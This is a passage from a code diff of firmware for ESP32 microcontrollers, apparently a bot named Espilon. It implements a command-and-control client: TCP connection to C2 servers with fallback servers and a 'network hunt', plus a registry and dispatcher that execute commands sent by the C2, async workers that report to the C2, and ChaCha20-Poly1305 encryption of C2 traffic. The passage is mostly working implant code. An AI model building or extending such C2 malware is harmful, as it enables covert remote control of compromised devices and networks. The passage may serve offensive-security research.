sock = new_sock;
|
||||
xSemaphoreGive(sock_mutex);
|
||||
|
||||
ESP_LOGI(TAG, "C2 fallback %s:%d connected", ip_buf, port);
|
||||
return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
#endif /* CONFIG_FB_AUTO_HUNT */
|
||||
|
||||
/* =========================================================
|
||||
* Main TCP client task
|
||||
* ========================================================= */
|
||||
void tcp_client_task(void *pvParameters)
|
||||
{
|
||||
if (!sock_mutex)
|
||||
sock_mutex = xSemaphoreCreateMutex();
|
||||
|
||||
#ifdef CONFIG_FB_AUTO_HUNT
|
||||
int tcp_fail_count = 0;
|
||||
#endif
|
||||
|
||||
while (1) {
|
||||
|
||||
/* If fallback hunt is active, wait for it to finish */
|
||||
while (fb_active) {
|
||||
vTaskDelay(pdMS_TO_TICKS(1000));
|
||||
}
|
||||
|
||||
if (!tcp_connect()) {
|
||||
#ifdef CONFIG_FB_AUTO_HUNT
|
||||
tcp_fail_count++;
|
||||
ESP_LOGW(TAG, "TCP connect failed (%d/%d)",
|
||||
tcp_fail_count, CONFIG_FB_TCP_FAIL_THRESHOLD);
|
||||
if (tcp_fail_count >= CONFIG_FB_TCP_FAIL_THRESHOLD && !fb_active) {
|
||||
/* Level 1: C2 failover on same network */
|
||||
if (try_fallback_c2s()) {
|
||||
tcp_fail_count = 0;
|
||||
goto handshake;
|
||||
}
|
||||
/* Level 2: full network hunt */
|
||||
ESP_LOGW(TAG, "All C2 unreachable — triggering fallback hunt");
|
||||
fb_hunt_trigger();
|
||||
tcp_fail_count = 0;
|
||||
continue;
|
||||
}
|
||||
#endif
|
||||
vTaskDelay(pdMS_TO_TICKS(RECONNECT_DELAY_MS));
|
||||
continue;
|
||||
}
|
||||
|
||||
#ifdef CONFIG_FB_AUTO_HUNT
|
||||
tcp_fail_count = 0;
|
||||
#endif
|
||||
|
||||
#ifdef CONFIG_C2_VERIFY_SERVER
|
||||
if (!server_verify()) {
|
||||
ESP_LOGE(TAG, "Server verification FAILED - possible MITM");
|
||||
xSemaphoreTake(sock_mutex, portMAX_DELAY);
|
||||
lwip_close(sock);
|
||||
sock = -1;
|
||||
xSemaphoreGive(sock_mutex);
|
||||
vTaskDelay(pdMS_TO_TICKS(RECONNECT_DELAY_MS));
|
||||
continue;
|
||||
}
|
||||
ESPILON_LOGI_PURPLE(TAG, "Server identity verified (AEAD challenge OK)");
|
||||
#endif
|
||||
|
||||
#ifdef CONFIG_FB_AUTO_HUNT
|
||||
handshake:
|
||||
#endif
|
||||
msg_info(TAG, CONFIG_DEVICE_ID, NULL);
|
||||
ESP_LOGI(TAG, "Handshake done");
|
||||
|
||||
while (sock >= 0) {
|
||||
if (!tcp_rx_loop()) break;
|
||||
vTaskDelay(1);
|
||||
}
|
||||
|
||||
ESP_LOGW(TAG, "Disconnected, retrying...");
|
||||
vTaskDelay(pdMS_TO_TICKS(RECONNECT_DELAY_MS));
|
||||
}
|
||||
}
|
||||
|
||||
#endif /* CONFIG_NETWORK_WIFI */
|
||||
51
espilon_bot/components/core/com.c
Normal file
51
espilon_bot/components/core/com.c
Normal file
@ -0,0 +1,51 @@
|
||||
#include "utils.h"
|
||||
#include "esp_log.h"
|
||||
#include "freertos/FreeRTOS.h"
|
||||
#include "freertos/task.h"
|
||||
|
||||
static const char *TAG = "COM";
|
||||
|
||||
bool com_init(void)
|
||||
{
|
||||
#ifdef CONFIG_NETWORK_WIFI
|
||||
|
||||
ESPILON_LOGI_PURPLE(TAG, "Init WiFi backend");
|
||||
|
||||
wifi_init();
|
||||
|
||||
/* Task WiFi déjà complète (connect + handshake + RX) */
|
||||
xTaskCreatePinnedToCore(
|
||||
tcp_client_task,
|
||||
"tcp_client_task",
|
||||
12288,
|
||||
NULL,
|
||||
1,
|
||||
NULL,
|
||||
0
|
||||
);
|
||||
|
||||
return true;
|
||||
|
||||
#elif defined(CONFIG_NETWORK_GPRS)
|
||||
|
||||
ESPILON_LOGI_PURPLE(TAG, "Init GPRS backend");
|
||||
|
||||
setup_uart();
|
||||
setup_modem();
|
||||
|
||||
xTaskCreatePinnedToCore(
|
||||
gprs_client_task,
|
||||
"gprs_client_task",
|
||||
8192,
|
||||
NULL,
|
||||
1,
|
||||
NULL,
|
||||
0
|
||||
);
|
||||
|
||||
return true;
|
||||
|
||||
#else
|
||||
#error "No network backend selected"
|
||||
#endif
|
||||
}
|
||||
227
espilon_bot/components/core/command.c
Normal file
227
espilon_bot/components/core/command.c
Normal file
@ -0,0 +1,227 @@
|
||||
#include "utils.h"
|
||||
#include "esp_log.h"
|
||||
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdio.h>
|
||||
|
||||
static const char *TAG = "COMMAND";
|
||||
|
||||
static const command_t *registry[MAX_COMMANDS];
|
||||
static size_t registry_count = 0;
|
||||
|
||||
/* Max longueur lue/copied par arg (sécurité si non \0) */
|
||||
#ifndef COMMAND_MAX_ARG_LEN
|
||||
#define COMMAND_MAX_ARG_LEN 128
|
||||
#endif
|
||||
|
||||
/* Max args temporaires qu’on accepte ici (doit couvrir tes commandes) */
|
||||
#ifndef COMMAND_MAX_ARGS
|
||||
#define COMMAND_MAX_ARGS 16
|
||||
#endif
|
||||
|
||||
/* =========================================================
|
||||
* Register command
|
||||
* ========================================================= */
|
||||
void command_register(const command_t *cmd)
|
||||
{
|
||||
if (!cmd || !cmd->name || !cmd->handler) {
|
||||
ESP_LOGE(TAG, "Invalid command registration");
|
||||
return;
|
||||
}
|
||||
|
||||
if (registry_count >= MAX_COMMANDS) {
|
||||
ESP_LOGE(TAG, "Command registry full");
|
||||
return;
|
||||
}
|
||||
|
||||
registry[registry_count++] = cmd;
|
||||
#ifdef CONFIG_ESPILON_LOG_CMD_REG_VERBOSE
|
||||
ESPILON_LOGI_PURPLE(TAG, "Registered command: %s", cmd->name);
|
||||
#endif
|
||||
}
|
||||
|
||||
/* =========================================================
|
||||
* Summary
|
||||
* ========================================================= */
|
||||
void command_log_registry_summary(void)
|
||||
{
|
||||
if (registry_count == 0) {
|
||||
ESPILON_LOGI_PURPLE(TAG, "Registered commands: none");
|
||||
return;
|
||||
}
|
||||
|
||||
char buf[512];
|
||||
int off = snprintf(
|
||||
buf,
|
||||
sizeof(buf),
|
||||
"Registered commands (%d): ",
|
||||
(int)registry_count
|
||||
);
|
||||
|
||||
for (size_t i = 0; i < registry_count; i++) {
|
||||
const char *name = registry[i] && registry[i]->name
|
||||
? registry[i]->name : "?";
|
||||
const char *sub = (registry[i] && registry[i]->sub && registry[i]->sub[0])
|
||||
? registry[i]->sub : NULL;
|
||||
const char *sep = (i == 0) ? "" : ", ";
|
||||
int n;
|
||||
if (sub) {
|
||||
n = snprintf(buf + off, sizeof(buf) - (size_t)off,
|
||||
"%s%s %s", sep, name, sub);
|
||||
} else {
|
||||
n = snprintf(buf + off, sizeof(buf) - (size_t)off,
|
||||
"%s%s", sep, name);
|
||||
}
|
||||
if (n < 0 || n >= (int)(sizeof(buf) - (size_t)off)) {
|
||||
if (off < (int)sizeof(buf) - 4) {
|
||||
memcpy(buf + (sizeof(buf) - 4), "...", 4);
|
||||
}
|
||||
break;
|
||||
}
|
||||
off += n;
|
||||
}
|
||||
|
||||
ESPILON_LOGI_PURPLE(TAG, "%s", buf);
|
||||
}
|
||||
|
||||
/* =========================================================
|
||||
* Helpers: deep-copy argv into one arena + argv[] pointers
|
||||
* ========================================================= */
|
||||
static bool deepcopy_argv(char *const *argv_in,
|
||||
int argc,
|
||||
char ***argv_out,
|
||||
char **arena_out,
|
||||
const char *req_id)
|
||||
{
|
||||
*argv_out = NULL;
|
||||
*arena_out = NULL;
|
||||
|
||||
if (argc < 0) {
|
||||
msg_error("cmd", "Invalid argc", req_id);
|
||||
return false;
|
||||
}
|
||||
|
||||
if (argc == 0) {
|
||||
char **argv0 = (char **)calloc(1, sizeof(char *));
|
||||
if (!argv0) {
|
||||
msg_error("cmd", "OOM copying argv", req_id);
|
||||
return false;
|
||||
}
|
||||
*argv_out = argv0;
|
||||
*arena_out = NULL;
|
||||
return true;
|
||||
}
|
||||
|
||||
size_t total = 0;
|
||||
for (int i = 0; i < argc; i++) {
|
||||
const char *s = (argv_in && argv_in[i]) ? argv_in[i] : "";
|
||||
size_t n = strnlen(s, COMMAND_MAX_ARG_LEN);
|
||||
total += (n + 1);
|
||||
}
|
||||
|
||||
char *arena = (char *)malloc(total ? total : 1);
|
||||
char **argv_copy = (char **)malloc((size_t)argc * sizeof(char *));
|
||||
if (!arena || !argv_copy) {
|
||||
free(arena);
|
||||
free(argv_copy);
|
||||
msg_error("cmd", "OOM copying argv", req_id);
|
||||
return false;
|
||||
}
|
||||
|
||||
size_t off = 0;
|
||||
for (int i = 0; i < argc; i++) {
|
||||
const char *s = (argv_in && argv_in[i]) ? argv_in[i] : "";
|
||||
size_t n = strnlen(s, COMMAND_MAX_ARG_LEN);
|
||||
|
||||
argv_copy[i] = &arena[off];
|
||||
memcpy(&arena[off], s, n);
|
||||
arena[off + n] = '\0';
|
||||
off += (n + 1);
|
||||
}
|
||||
|
||||
*argv_out = argv_copy;
|
||||
*arena_out = arena;
|
||||
return true;
|
||||
}
|
||||
|
||||
/* =========================================================
|
||||
* Dispatch nanopb command
|
||||
* ========================================================= */
|
||||
void command_process_pb(const c2_Command *cmd)
|
||||
{
|
||||
if (!cmd) return;
|
||||
|
||||
/* nanopb: tableaux fixes => jamais NULL */
|
||||
const char *name = cmd->command_name;
|
||||
const char *reqid = cmd->request_id;
|
||||
const char *reqid_or_null = (reqid[0] ? reqid : NULL);
|
||||
|
||||
int argc = cmd->argv_count;
|
||||
|
||||
for (size_t i = 0; i < registry_count; i++) {
|
||||
const command_t *c = registry[i];
|
||||
|
||||
if (strcmp(c->name, name) != 0)
|
||||
continue;
|
||||
|
||||
/*
|
||||
* Sub-command matching: if the command has a .sub field,
|
||||
* argv[0] must match it. The sub is consumed (argv shifted
|
||||
* by 1) before passing to the handler.
|
||||
*/
|
||||
int sub_offset = 0;
|
||||
if (c->sub && c->sub[0]) {
|
||||
if (argc < 1 || strcmp(cmd->argv[0], c->sub) != 0)
|
||||
continue; /* not this sub-command, try next */
|
||||
sub_offset = 1;
|
||||
}
|
||||
|
||||
int effective_argc = argc - sub_offset;
|
||||
|
||||
if (effective_argc < c->min_args || effective_argc > c->max_args) {
|
||||
msg_error("cmd", "Invalid argument count", reqid_or_null);
|
||||
return;
|
||||
}
|
||||
|
||||
if (c->sub && c->sub[0]) {
|
||||
ESP_LOGI(TAG, "Execute: %s %s (argc=%d)", name, c->sub, effective_argc);
|
||||
} else {
|
||||
ESP_LOGI(TAG, "Execute: %s (argc=%d)", name, effective_argc);
|
||||
}
|
||||
|
||||
if (c->async) {
|
||||
command_async_enqueue(c, cmd, sub_offset);
|
||||
return;
|
||||
}
|
||||
|
||||
/* ================================
|
||||
* SYNC PATH:
|
||||
* Build argv_ptrs[] from cmd->argv, skipping sub_offset
|
||||
* ================================ */
|
||||
if (effective_argc > COMMAND_MAX_ARGS) {
|
||||
msg_error("cmd", "Too many args", reqid_or_null);
|
||||
return;
|
||||
}
|
||||
|
||||
char *argv_ptrs[COMMAND_MAX_ARGS] = {0};
|
||||
for (int a = 0; a < effective_argc; a++) {
|
||||
argv_ptrs[a] = (char *)cmd->argv[a + sub_offset];
|
||||
}
|
||||
|
||||
/* Deep-copy pour rendre sync aussi safe que async */
|
||||
char **argv_copy = NULL;
|
||||
char *arena = NULL;
|
||||
|
||||
if (!deepcopy_argv(argv_ptrs, effective_argc, &argv_copy, &arena, reqid_or_null))
|
||||
return;
|
||||
|
||||
c->handler(effective_argc, argv_copy, reqid_or_null, c->ctx);
|
||||
|
||||
free(argv_copy);
|
||||
free(arena);
|
||||
return;
|
||||
}
|
||||
|
||||
msg_error("cmd", "Unknown command", reqid_or_null);
|
||||
}
|
||||
204
espilon_bot/components/core/command_async.c
Normal file
204
espilon_bot/components/core/command_async.c
Normal file
@ -0,0 +1,204 @@
|
||||
#include "utils.h"
|
||||
#include "esp_log.h"
|
||||
#include "esp_timer.h"
|
||||
#include "freertos/FreeRTOS.h"
|
||||
#include "freertos/task.h"
|
||||
#include "freertos/queue.h"
|
||||
#include <string.h>
|
||||
#include <stdio.h>
|
||||
|
||||
static const char *TAG = "CMD_ASYNC";
|
||||
|
||||
/* =========================================================
|
||||
* Configuration
|
||||
* ========================================================= */
|
||||
#ifndef CONFIG_ASYNC_WORKER_COUNT
|
||||
#define CONFIG_ASYNC_WORKER_COUNT 2
|
||||
#endif
|
||||
|
||||
#ifndef CONFIG_ASYNC_QUEUE_DEPTH
|
||||
#define CONFIG_ASYNC_QUEUE_DEPTH 8
|
||||
#endif
|
||||
|
||||
#define ASYNC_WORKER_STACK 4096
|
||||
#define WATCHDOG_INTERVAL_MS 5000
|
||||
#define WATCHDOG_TIMEOUT_US (60 * 1000000LL) /* 60s */
|
||||
|
||||
/* =========================================================
|
||||
* Async job structure
|
||||
* ========================================================= */
|
||||
typedef struct {
|
||||
const command_t *cmd;
|
||||
int argc;
|
||||
char argv[MAX_ASYNC_ARGS][MAX_ASYNC_ARG_LEN];
|
||||
char *argv_ptrs[MAX_ASYNC_ARGS];
|
||||
char request_id[64];
|
||||
} async_job_t;
|
||||
|
||||
/* =========================================================
|
||||
* Per-worker state (watchdog tracking)
|
||||
* ========================================================= */
|
||||
typedef struct {
|
||||
volatile int64_t start_us; /* 0 = idle */
|
||||
volatile bool alerted; /* already reported to C2 */
|
||||
const char *cmd_name; /* current command name */
|
||||
char request_id[64];
|
||||
} worker_state_t;
|
||||
|
||||
static QueueHandle_t async_queue;
|
||||
static worker_state_t worker_states[CONFIG_ASYNC_WORKER_COUNT];
|
||||
|
||||
/* =========================================================
|
||||
* Watchdog task — monitors workers for stuck commands
|
||||
* ========================================================= */
|
||||
static void watchdog_task(void *arg)
|
||||
{
|
||||
while (1) {
|
||||
vTaskDelay(pdMS_TO_TICKS(WATCHDOG_INTERVAL_MS));
|
||||
|
||||
int64_t now = esp_timer_get_time();
|
||||
|
||||
for (int i = 0; i < CONFIG_ASYNC_WORKER_COUNT; i++) {
|
||||
worker_state_t *ws = &worker_states[i];
|
||||
|
||||
if (ws->start_us == 0 || ws->alerted)
|
||||
continue;
|
||||
|
||||
int64_t elapsed = now - ws->start_us;
|
||||
if (elapsed > WATCHDOG_TIMEOUT_US) {
|
||||
int secs = (int)(elapsed / 1000000LL);
|
||||
char buf[128];
|
||||
snprintf(buf, sizeof(buf),
|
||||
"Worker %d stuck: '%s' running for %ds",
|
||||
i, ws->cmd_name ? ws->cmd_name : "?", secs);
|
||||
|
||||
ESP_LOGW(TAG, "%s", buf);
|
||||
msg_error("cmd_async", buf,
|
||||
ws->request_id[0] ? ws->request_id : NULL);
|
||||
|
||||
ws->alerted = true;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/* =========================================================
|
||||
* Worker task (multiple instances share the same queue)
|
||||
* ========================================================= */
|
||||
static void async_worker(void *arg)
|
||||
{
|
||||
int worker_id = (int)(intptr_t)arg;
|
||||
worker_state_t *ws = &worker_states[worker_id];
|
||||
async_job_t job;
|
||||
|
||||
while (1) {
|
||||
if (xQueueReceive(async_queue, &job, portMAX_DELAY)) {
|
||||
/* Recompute argv_ptrs to point into THIS copy's argv buffers.
|
||||
* xQueueReceive copies the struct by value, so the old
|
||||
* pointers (set at enqueue time) are now dangling. */
|
||||
for (int i = 0; i < job.argc; i++) {
|
||||
job.argv_ptrs[i] = job.argv[i];
|
||||
}
|
||||
|
||||
/* Mark worker as busy for watchdog */
|
||||
ws->cmd_name = job.cmd->name;
|
||||
strncpy(ws->request_id, job.request_id, sizeof(ws->request_id) - 1);
|
||||
ws->alerted = false;
|
||||
ws->start_us = esp_timer_get_time();
|
||||
|
||||
ESP_LOGI(TAG, "Worker %d exec: %s", worker_id, job.cmd->name);
|
||||
|
||||
job.cmd->handler(
|
||||
job.argc,
|
||||
job.argv_ptrs,
|
||||
job.request_id[0] ? job.request_id : NULL,
|
||||
job.cmd->ctx
|
||||
);
|
||||
|
||||
/* Mark worker as idle */
|
||||
ws->start_us = 0;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/* =========================================================
|
||||
* Init async system
|
||||
* ========================================================= */
|
||||
void command_async_init(void)
|
||||
{
|
||||
memset(worker_states, 0, sizeof(worker_states));
|
||||
|
||||
async_queue = xQueueCreate(CONFIG_ASYNC_QUEUE_DEPTH, sizeof(async_job_t));
|
||||
if (!async_queue) {
|
||||
ESP_LOGE(TAG, "Failed to create async queue");
|
||||
return;
|
||||
}
|
||||
|
||||
for (int i = 0; i < CONFIG_ASYNC_WORKER_COUNT; i++) {
|
||||
char name[16];
|
||||
snprintf(name, sizeof(name), "cmd_async_%d", i);
|
||||
|
||||
BaseType_t ret = xTaskCreatePinnedToCore(
|
||||
async_worker,
|
||||
name,
|
||||
ASYNC_WORKER_STACK,
|
||||
(void *)(intptr_t)i,
|
||||
5,
|
||||
NULL,
|
||||
1 /* Core 1 */
|
||||
);
|
||||
|
||||
if (ret != pdPASS) {
|
||||
ESP_LOGE(TAG, "Failed to create worker %d", i);
|
||||
}
|
||||
}
|
||||
|
||||
/* Watchdog: low priority, small stack, Core 0 */
|
||||
xTaskCreatePinnedToCore(watchdog_task, "cmd_wdog", 2048,
|
||||
NULL, 2, NULL, 0);
|
||||
|
||||
ESPILON_LOGI_PURPLE(TAG, "Async command system ready (%d workers, watchdog on)",
|
||||
CONFIG_ASYNC_WORKER_COUNT);
|
||||
}
|
||||
|
||||
/* =========================================================
|
||||
* Enqueue async command
|
||||
* ========================================================= */
|
||||
void command_async_enqueue(const command_t *cmd,
|
||||
const c2_Command *pb_cmd,
|
||||
int argv_offset)
|
||||
{
|
||||
if (!cmd || !pb_cmd) return;
|
||||
|
||||
async_job_t job = {0};
|
||||
|
||||
job.cmd = cmd;
|
||||
job.argc = pb_cmd->argv_count - argv_offset;
|
||||
if (job.argc > MAX_ASYNC_ARGS)
|
||||
job.argc = MAX_ASYNC_ARGS;
|
||||
if (job.argc < 0)
|
||||
job.argc = 0;
|
||||
|
||||
for (int i = 0; i < job.argc; i++) {
|
||||
strncpy(job.argv[i],
|
||||
pb_cmd->argv[i + argv_offset],
|
||||
MAX_ASYNC_ARG_LEN - 1);
|
||||
job.argv[i][MAX_ASYNC_ARG_LEN - 1] = '\0';
|
||||
job.argv_ptrs[i] = job.argv[i];
|
||||
}
|
||||
|
||||
if (pb_cmd->request_id[0]) {
|
||||
strncpy(job.request_id,
|
||||
pb_cmd->request_id,
|
||||
sizeof(job.request_id) - 1);
|
||||
job.request_id[sizeof(job.request_id) - 1] = '\0';
|
||||
}
|
||||
|
||||
if (xQueueSend(async_queue, &job, 0) != pdTRUE) {
|
||||
char buf[128];
|
||||
snprintf(buf, sizeof(buf), "Async queue full, dropped '%s'",
|
||||
cmd->name);
|
||||
ESP_LOGE(TAG, "%s", buf);
|
||||
msg_error("cmd_async", buf, pb_cmd->request_id);
|
||||
}
|
||||
}
|
||||
356
espilon_bot/components/core/crypto.c
Normal file
356
espilon_bot/components/core/crypto.c
Normal file
@ -0,0 +1,356 @@
|
||||
// crypto.c – ChaCha20-Poly1305 AEAD with HKDF key derivation
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
#include "esp_log.h"
|
||||
#include "esp_random.h"
|
||||
#include "nvs_flash.h"
|
||||
#include "nvs.h"
|
||||
|
||||
#include "mbedtls/chachapoly.h"
|
||||
#include "mbedtls/hkdf.h"
|
||||
#include "mbedtls/md.h"
|
||||
#include "mbedtls/base64.h"
|
||||
#include "mbedtls/platform_util.h"
|
||||
|
||||
#include "pb_decode.h"
|
||||
#include "c2.pb.h"
|
||||
|
||||
#include "utils.h"
|
||||
|
||||
static const char *TAG = "CRYPTO";
|
||||
|
||||
#define NONCE_LEN 12
|
||||
#define TAG_LEN 16
|
||||
#define KEY_LEN 32
|
||||
#define OVERHEAD (NONCE_LEN + TAG_LEN) /* 28 bytes */
|
||||
|
||||
static uint8_t derived_key[KEY_LEN];
|
||||
static bool crypto_ready = false;
|
||||
|
||||
/* ============================================================
|
||||
* crypto_init – read master key from factory NVS, derive via HKDF
|
||||
* ============================================================ */
|
||||
bool crypto_init(void)
|
||||
{
|
||||
esp_err_t err;
|
||||
|
||||
/* 1) Init the factory NVS partition */
|
||||
err = nvs_flash_init_partition("fctry");
|
||||
if (err != ESP_OK) {
|
||||
ESP_LOGE(TAG, "nvs_flash_init_partition(fctry) failed: %s",
|
||||
esp_err_to_name(err));
|
||||
return false;
|
||||
}
|
||||
|
||||
/* 2) Open the crypto namespace (read-only) */
|
||||
nvs_handle_t handle;
|
||||
err = nvs_open_from_partition(
|
||||
"fctry",
|
||||
CONFIG_CRYPTO_FCTRY_NS,
|
||||
NVS_READONLY,
|
||||
&handle
|
||||
);
|
||||
if (err != ESP_OK) {
|
||||
ESP_LOGE(TAG, "nvs_open_from_partition(fctry/%s) failed: %s",
|
||||
CONFIG_CRYPTO_FCTRY_NS, esp_err_to_name(err));
|
||||
return false;
|
||||
}
|
||||
|
||||
/* 3) Read the 32-byte master key blob */
|
||||
uint8_t master_key[KEY_LEN];
|
||||
size_t mk_len = sizeof(master_key);
|
||||
|
||||
err = nvs_get_blob(handle, CONFIG_CRYPTO_FCTRY_KEY, master_key, &mk_len);
|
||||
nvs_close(handle);
|
||||
|
||||
if (err != ESP_OK || mk_len != KEY_LEN) {
|
||||
ESP_LOGE(TAG, "nvs_get_blob(%s) failed: %s (len=%u)",
|
||||
CONFIG_CRYPTO_FCTRY_KEY, esp_err_to_name(err),
|
||||
(unsigned)mk_len);
|
||||
mbedtls_platform_zeroize(master_key, sizeof(master_key));
|
||||
return false;
|
||||
}
|
||||
|
||||
/* 4) HKDF-SHA256: derive the encryption key */
|
||||
const char *info = "espilon-c2-v1";
|
||||
const char *salt = CONFIG_DEVICE_ID;
|
||||
|
||||
int ret = mbedtls_hkdf(
|
||||
mbedtls_md_info_from_type(MBEDTLS_MD_SHA256),
|
||||
(const uint8_t *)salt, strlen(salt),
|
||||
master_key, KEY_LEN,
|
||||
(const uint8_t *)info, strlen(info),
|
||||
derived_key, KEY_LEN
|
||||
);
|
||||
|
||||
/* Wipe master key from RAM immediately */
|
||||
mbedtls_platform_zeroize(master_key, sizeof(master_key));
|
||||
|
||||
if (ret != 0) {
|
||||
ESP_LOGE(TAG, "HKDF failed (%d)", ret);
|
||||
return false;
|
||||
}
|
||||
|
||||
crypto_ready = true;
|
||||
ESP_LOGI(TAG, "Crypto ready (ChaCha20-Poly1305 + HKDF)");
|
||||
return true;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* crypto_encrypt – ChaCha20-Poly1305 AEAD
|
||||
*
|
||||
* Output layout: nonce[12] || ciphertext[plain_len] || tag[16]
|
||||
* Returns total output length, or -1 on error.
|
||||
* ============================================================ */
|
||||
int crypto_encrypt(const uint8_t *plain, size_t plain_len,
|
||||
uint8_t *out, size_t out_cap)
|
||||
{
|
||||
if (!crypto_ready) {
|
||||
ESP_LOGE(TAG, "crypto_encrypt: not initialized");
|
||||
return -1;
|
||||
}
|
||||
if (!plain || plain_len == 0 || !out) {
|
||||
ESP_LOGE(TAG, "crypto_encrypt: invalid args");
|
||||
return -1;
|
||||
}
|
||||
|
||||
size_t needed = plain_len + OVERHEAD;
|
||||
if (out_cap < needed) {
|
||||
ESP_LOGE(TAG, "crypto_encrypt: buffer too small (%u < %u)",
|
||||
(unsigned)out_cap, (unsigned)needed);
|
||||
return -1;
|
||||
}
|
||||
|
||||
/* Random nonce in the first 12 bytes */
|
||||
esp_fill_random(out, NONCE_LEN);
|
||||
|
||||
mbedtls_chachapoly_context ctx;
|
||||
mbedtls_chachapoly_init(&ctx);
|
||||
mbedtls_chachapoly_setkey(&ctx, derived_key);
|
||||
|
||||
int ret = mbedtls_chachapoly_encrypt_and_tag(
|
||||
&ctx,
|
||||
plain_len,
|
||||
out, /* nonce */
|
||||
NULL, 0, /* no AAD */
|
||||
plain, /* input */
|
||||
out + NONCE_LEN, /* output (ciphertext) */
|
||||
out + NONCE_LEN + plain_len /* tag */
|
||||
);
|
||||
|
||||
mbedtls_chachapoly_free(&ctx);
|
||||
|
||||
if (ret != 0) {
|
||||
ESP_LOGE(TAG, "chachapoly encrypt failed (%d)", ret);
|
||||
return -1;
|
||||
}
|
||||
|
||||
return (int)needed;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* crypto_decrypt – ChaCha20-Poly1305 AEAD
|
||||
*
|
||||
* Input layout: nonce[12] || ciphertext[N] || tag[16]
|
||||
* Returns plaintext length, or -1 on error / auth failure.
|
||||
* ============================================================ */
|
||||
int crypto_decrypt(const uint8_t *in, size_t in_len,
|
||||
uint8_t *out, size_t out_cap)
|
||||
{
|
||||
if (!crypto_ready) {
|
||||
ESP_LOGE(TAG, "crypto_decrypt: not initialized");
|
||||
return -1;
|
||||
}
|
||||
if (!in || in_len < OVERHEAD || !out) {
|
||||
ESP_LOGE(TAG, "crypto_decrypt: invalid args (in_len=%u)",
|
||||
(unsigned)in_len);
|
||||
return -1;
|
||||
}
|
||||
|
||||
size_t ct_len = in_len - OVERHEAD;
|
||||
if (out_cap < ct_len) {
|
||||
ESP_LOGE(TAG, "crypto_decrypt: buffer too small");
|
||||
return -1;
|
||||
}
|
||||
|
||||
const uint8_t *nonce = in;
|
||||
const uint8_t *ct = in + NONCE_LEN;
|
||||
const uint8_t *tag = in + NONCE_LEN + ct_len;
|
||||
|
||||
mbedtls_chachapoly_context ctx;
|
||||
mbedtls_chachapoly_init(&ctx);
|
||||
mbedtls_chachapoly_setkey(&ctx, derived_key);
|
||||
|
||||
int ret = mbedtls_chachapoly_auth_decrypt(
|
||||
&ctx,
|
||||
ct_len,
|
||||
nonce,
|
||||
NULL, 0, /* no AAD */
|
||||
tag,
|
||||
ct,
|
||||
out
|
||||
);
|
||||
|
||||
mbedtls_chachapoly_free(&ctx);
|
||||
|
||||
if (ret != 0) {
|
||||
ESP_LOGE(TAG, "AEAD auth/decrypt failed (%d)", ret);
|
||||
return -1;
|
||||
}
|
||||
|
||||
return (int)ct_len;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Base64 encode
|
||||
* ============================================================ */
|
||||
char *base64_encode(const unsigned char *input, size_t input_len)
|
||||
{
|
||||
if (!input || input_len == 0) {
|
||||
ESP_LOGE(TAG, "Invalid input to base64_encode");
|
||||
return NULL;
|
||||
}
|
||||
|
||||
size_t out_len = 4 * ((input_len + 2) / 3);
|
||||
char *out = (char *)malloc(out_len + 1);
|
||||
if (!out) {
|
||||
ESP_LOGE(TAG, "malloc failed in base64_encode");
|
||||
return NULL;
|
||||
}
|
||||
|
||||
size_t written = 0;
|
||||
int ret = mbedtls_base64_encode(
|
||||
(unsigned char *)out,
|
||||
out_len + 1,
|
||||
&written,
|
||||
input,
|
||||
input_len
|
||||
);
|
||||
|
||||
if (ret != 0) {
|
||||
ESP_LOGE(TAG, "base64 encode failed (%d)", ret);
|
||||
free(out);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
out[written] = '\0';
|
||||
return out;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Base64 decode
|
||||
* ============================================================ */
|
||||
char *base64_decode(const char *input, size_t *output_len)
|
||||
{
|
||||
if (!input || !output_len) {
|
||||
ESP_LOGE(TAG, "Invalid input to base64_decode");
|
||||
return NULL;
|
||||
}
|
||||
|
||||
size_t in_len = strlen(input);
|
||||
size_t est_len = (in_len * 3) / 4;
|
||||
|
||||
unsigned char *out = (unsigned char *)malloc(est_len + 1);
|
||||
if (!out) {
|
||||
ESP_LOGE(TAG, "malloc failed in base64_decode");
|
||||
return NULL;
|
||||
}
|
||||
|
||||
int ret = mbedtls_base64_decode(
|
||||
out,
|
||||
est_len + 1,
|
||||
output_len,
|
||||
(const unsigned char *)input,
|
||||
in_len
|
||||
);
|
||||
|
||||
if (ret != 0) {
|
||||
ESP_LOGE(TAG, "base64 decode failed (%d)", ret);
|
||||
free(out);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
out[*output_len] = '\0';
|
||||
return (char *)out;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* C2: Decode + decrypt + protobuf + exec (COMMON WIFI/GPRS)
|
||||
* ============================================================ */
|
||||
bool c2_decode_and_exec(const char *frame)
|
||||
{
|
||||
if (!frame || !frame[0]) {
|
||||
ESP_LOGW(TAG, "Empty C2 frame");
|
||||
return false;
|
||||
}
|
||||
|
||||
/* Trim CR/LF/spaces at end (SIM800 sometimes adds \r) */
|
||||
char tmp[1024];
|
||||
size_t n = strnlen(frame, sizeof(tmp) - 2);
|
||||
memcpy(tmp, frame, n);
|
||||
tmp[n] = '\0';
|
||||
while (n > 0 && (tmp[n - 1] == '\r' || tmp[n - 1] == '\n' || tmp[n - 1] == ' ')) {
|
||||
tmp[--n] = '\0';
|
||||
}
|
||||
|
||||
ESP_LOGD(TAG, "C2 RX b64 (%u bytes)", (unsigned)n);
|
||||
|
||||
/* 1) Base64 decode */
|
||||
size_t decoded_len = 0;
|
||||
char *decoded = base64_decode(tmp, &decoded_len);
|
||||
if (!decoded || decoded_len == 0) {
|
||||
ESP_LOGE(TAG, "Base64 decode failed");
|
||||
free(decoded);
|
||||
return false;
|
||||
}
|
||||
|
||||
/* 2) Decrypt + authenticate (AEAD) */
|
||||
uint8_t plain[1024];
|
||||
int plain_len = crypto_decrypt(
|
||||
(const uint8_t *)decoded, decoded_len,
|
||||
plain, sizeof(plain)
|
||||
);
|
||||
free(decoded);
|
||||
|
||||
if (plain_len < 0) {
|
||||
